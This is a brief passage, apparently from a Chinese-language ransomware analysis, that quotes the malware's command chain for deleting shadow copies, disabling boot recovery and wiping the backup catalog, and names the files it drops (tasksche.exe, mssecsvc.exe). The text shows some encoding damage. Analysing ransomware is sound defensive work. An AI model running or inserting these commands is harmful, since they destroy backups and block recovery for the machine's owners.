��</p>
<div class="highlighter-rouge"><pre class="highlight"><code>Cmd / c vssadmin delete shadows / all / quiet＆wmic shadowcopy delete＆bcdedit / set {default} bootstatuspolicy ignoreallfailures＆bcdedit / set {default} recoveryenabled no＆wbadmin delete catalog -quiet
</code></pre>
</div>

<p>Ransomware将自己写入文件名为“tasksche.exe”的“ProgramData”文件夹中的随机字符文件夹中，或者在文件名为“mssecsvc.exe”和“tasksche.exe”的C:\ Windows文件夹中。</p>
